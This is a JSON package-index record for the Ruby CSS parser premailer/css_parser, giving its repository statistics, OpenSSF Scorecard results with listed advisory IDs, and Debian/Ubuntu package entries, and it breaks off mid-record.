{"id":375,"name":null,"description":"Ruby CSS Parser","url":"https://github.com/premailer/css_parser","last_synced_at":"2026-08-16T06:00:57.760Z","repository":{"id":45434787,"uuid":"408234","full_name":"premailer/css_parser","owner":"premailer","description":"Ruby CSS Parser","archived":false,"fork":false,"pushed_at":"2026-07-11T02:58:52.000Z","size":719,"stargazers_count":299,"open_issues_count":24,"forks_count":114,"subscribers_count":9,"default_branch":"master","last_synced_at":"2026-07-22T04:33:11.288Z","etag":null,"topics":["css-parser","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/premailer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"MIT-LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-12-08T17:22:24.000Z","updated_at":"2026-07-11T02:58:56.000Z","dependencies_parsed_at":"2026-03-04T23:00:45.229Z","dependency_job_id":"5d004eae-f722-497f-bafc-9a7b9fb502ad","html_url":"https://github.com/premailer/css_parser","commit_stats":{"total_commits":380,"total_committers":69,"mean_commits":5.507246376811594,"dds":0.781578947368421,"last_synced_commit":"54b8ea5d542297efd0690bd22e390cf7640ee7d3"},"previous_names":["alexdunae/css_parser"],"tags_count":63,"template":false,"template_full_name":null,"purl":"pkg:github/premailer/css_parser","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/premailer","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/sbom","scorecard":{"id":181202,"data":{"date":"2025-08-04","repo":{"name":"github.com/premailer/css_parser","commit":"2ef7dcaaf9ceaba6652d67a875e4df5e76d8950f"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.1,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Code-Review","score":5,"reason":"Found 10/19 approved changesets -- score normalized to 5","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-2rxp-v6pw-ch6m","Warn: Project is vulnerable to: GHSA-4xqq-m2hx-25v8","Warn: Project is vulnerable to: GHSA-5866-49gr-22v4","Warn: Project is vulnerable to: GHSA-r55c-59qm-vjw6","Warn: Project is vulnerable to: GHSA-vg3r-rm7w-2xgh","Warn: Project is vulnerable to: GHSA-vmwr-mc7x-5vc3","Warn: Project is vulnerable to: GHSA-6f62-3596-g6w7","Warn: Project is vulnerable to: GHSA-r995-q44h-hr64"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 22 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-16T18:54:19.860Z","repository_id":45434787,"created_at":"2025-08-16T18:54:19.860Z","updated_at":"2025-08-16T18:54:19.860Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36093192,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-07-20T02:08:10.276Z","status":"online","status_checked_at":"2026-07-30T02:00:05.956Z","response_time":106,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"premailer","name":"premailer","uuid":"5750522","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/5750522?v=4","repositories_count":5,"last_synced_at":"2024-04-21T03:04:42.616Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/premailer","funding_links":[],"total_stars":2670,"followers":4,"following":0,"created_at":"2022-11-02T16:36:22.230Z","updated_at":"2024-04-21T03:04:43.062Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/premailer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/premailer/repositories"},"packages":[{"id":13750902,"name":"ruby-css-parser","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/premailer/css_parser","licenses":"other","normalized_licenses":["Other"],"repository_url":"https://github.com/premailer/css_parser","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T07:12:03.370Z","latest_release_published_at":"2026-02-13T07:12:03.370Z","latest_release_number":"1.6.0-1","last_synced_at":"2026-03-13T13:25:14.731Z","created_at":"2026-02-13T07:12:03.195Z","updated_at":"2026-03-13T13:25:14.927Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-css-parser","install_command":"apt-get install ruby-css-parser","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-css-parser","standards_version":"4.0.1","maintainer":"Debian Ruby Extras Maintainers \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper (\u003e= 10~), gem2deb, rake, ruby-addressable, ruby-minitest, ruby-test-unit","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":45434787,"uuid":"408234","full_name":"premailer/css_parser","owner":"premailer","description":"Ruby CSS Parser","archived":false,"fork":false,"pushed_at":"2025-04-17T17:27:03.000Z","size":696,"stargazers_count":287,"open_issues_count":23,"forks_count":110,"subscribers_count":9,"default_branch":"master","last_synced_at":"2026-02-02T17:44:11.602Z","etag":null,"topics":["css-parser","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/premailer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"MIT-LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2009-12-08T17:22:24.000Z","updated_at":"2025-11-03T09:18:21.000Z","dependencies_parsed_at":"2024-02-26T00:59:51.248Z","dependency_job_id":"c84239b6-5311-4eea-a02c-10d18331db6a","html_url":"https://github.com/premailer/css_parser","commit_stats":{"total_commits":380,"total_committers":69,"mean_commits":5.507246376811594,"dds":0.781578947368421,"last_synced_commit":"54b8ea5d542297efd0690bd22e390cf7640ee7d3"},"previous_names":["alexdunae/css_parser"],"tags_count":58,"template":false,"template_full_name":null,"purl":"pkg:github/premailer/css_parser","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/premailer","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/sbom","scorecard":{"id":181202,"data":{"date":"2025-08-04","repo":{"name":"github.com/premailer/css_parser","commit":"2ef7dcaaf9ceaba6652d67a875e4df5e76d8950f"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.1,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Code-Review","score":5,"reason":"Found 10/19 approved changesets -- score normalized to 5","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-2rxp-v6pw-ch6m","Warn: Project is vulnerable to: GHSA-4xqq-m2hx-25v8","Warn: Project is vulnerable to: GHSA-5866-49gr-22v4","Warn: Project is vulnerable to: GHSA-r55c-59qm-vjw6","Warn: Project is vulnerable to: GHSA-vg3r-rm7w-2xgh","Warn: Project is vulnerable to: GHSA-vmwr-mc7x-5vc3","Warn: Project is vulnerable to: GHSA-6f62-3596-g6w7","Warn: Project is vulnerable to: GHSA-r995-q44h-hr64"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 22 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-16T18:54:19.860Z","repository_id":45434787,"created_at":"2025-08-16T18:54:19.860Z","updated_at":"2025-08-16T18:54:19.860Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29298522,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-10T10:40:02.018Z","status":"ssl_error","status_checked_at":"2026-02-10T10:38:28.459Z","response_time":65,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"repo_metadata_updated_at":"2026-02-13T07:12:33.816Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-css-parser?arch=source\u0026distro=ubuntu-20.04\u0026repository_url=https://launchpad.net/ubuntu/focal","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-css-parser","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-css-parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-css-parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-02-12T13:00:23.011Z","issues_count":42,"pull_requests_count":117,"avg_time_to_close_issue":25826749.25,"avg_time_to_close_pull_request":10941252.095238095,"issues_closed_count":24,"pull_requests_closed_count":105,"pull_request_authors_count":60,"issue_authors_count":36,"avg_comments_per_issue":2.4523809523809526,"avg_comments_per_pull_request":1.5897435897435896,"merged_pull_requests_count":91,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":2,"past_year_pull_requests_count":5,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":97119.0,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":4,"past_year_pull_request_authors_count":3,"past_year_issue_authors_count":1,"past_year_avg_comments_per_issue":1.0,"past_year_avg_comments_per_pull_request":0.2,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":4,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/issues","maintainers":[],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-css-parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-css-parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-css-parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-css-parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-css-parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/ruby-css-parser/codemeta","maintainers":[],"registry":{"name":"ubuntu-20.04","url":"https://launchpad.net/ubuntu/focal","ecosystem":"ubuntu","default":false,"packages_count":30789,"maintainers_count":0,"namespaces_count":4,"keywords_count":1430,"github":"ubuntu","metadata":{"codename":"focal","funded_packages_count":165},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:47.233Z","updated_at":"2026-06-10T05:17:46.717Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/namespaces"}},{"id":13605281,"name":"ruby-css-parser","ecosystem":"debian","description":null,"homepage":"https://github.com/premailer/css_parser","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/premailer/css_parser","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-11T11:19:31.320Z","latest_release_published_at":"2026-02-11T11:19:31.320Z","latest_release_number":"1.6.0-1","last_synced_at":"2026-03-13T16:07:52.883Z","created_at":"2026-02-11T11:19:31.116Z","updated_at":"2026-03-13T16:07:52.884Z","registry_url":"https://tracker.debian.org/pkg/ruby-css-parser","install_command":"apt-get install ruby-css-parser","documentation_url":"https://packages.debian.org/buster/ruby-css-parser","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"ruby-css-parser","standards_version":"4.0.1","maintainer":"Debian Ruby Extras Maintainers \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper (\u003e= 10~), gem2deb, rake, ruby-addressable, ruby-minitest, ruby-test-unit","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-11T15:15:03.983Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/ruby-css-parser?arch=source\u0026distro=debian-10\u0026repository_url=https://packages.debian.org/buster","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/ruby-css-parser","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/ruby-css-parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/ruby-css-parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-css-parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-css-parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-css-parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-css-parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-css-parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-css-parser/codemeta","maintainers":[],"registry":{"name":"debian-10","url":"https://packages.debian.org/buster","ecosystem":"debian","default":false,"packages_count":28836,"maintainers_count":0,"namespaces_count":3,"keywords_count":915,"github":"debian","metadata":{"codename":"buster","mirror":"http://archive.debian.org/debian","funded_packages_count":104},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:50.156Z","updated_at":"2026-07-10T05:03:02.305Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/namespaces"}},{"id":13804147,"name":"ruby-css-parser","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/premailer/css_parser","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/premailer/css_parser","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T18:17:35.248Z","latest_release_published_at":"2026-02-13T18:17:35.248Z","latest_release_number":"1.6.0-2","last_synced_at":"2026-03-14T02:17:02.016Z","created_at":"2026-02-13T18:17:35.057Z","updated_at":"2026-03-14T02:17:02.016Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-css-parser","install_command":"apt-get install ruby-css-parser","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-css-parser","standards_version":"4.6.0","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb, rake, ruby-addressable, ruby-minitest, ruby-test-unit, ruby-webrick (\u003e= 1.7.0)","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-13T18:19:29.620Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-css-parser?arch=source\u0026distro=ubuntu-23.10\u0026repository_url=https://launchpad.net/ubuntu/mantic","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-css-parser","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-css-parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-css-parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-css-parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-css-parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-css-parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-css-parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-css-parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-css-parser/codemeta","maintainers":[],"registry":{"name":"ubuntu-23.10","url":"https://launchpad.net/ubuntu/mantic","ecosystem":"ubuntu","default":false,"packages_count":36642,"maintainers_count":0,"namespaces_count":4,"keywords_count":2223,"github":"ubuntu","metadata":{"codename":"mantic","mirror":"http://old-releases.ubuntu.com/ubuntu","funded_packages_count":444},"icon_url":"https://github.com/ubuntu.png","created_at":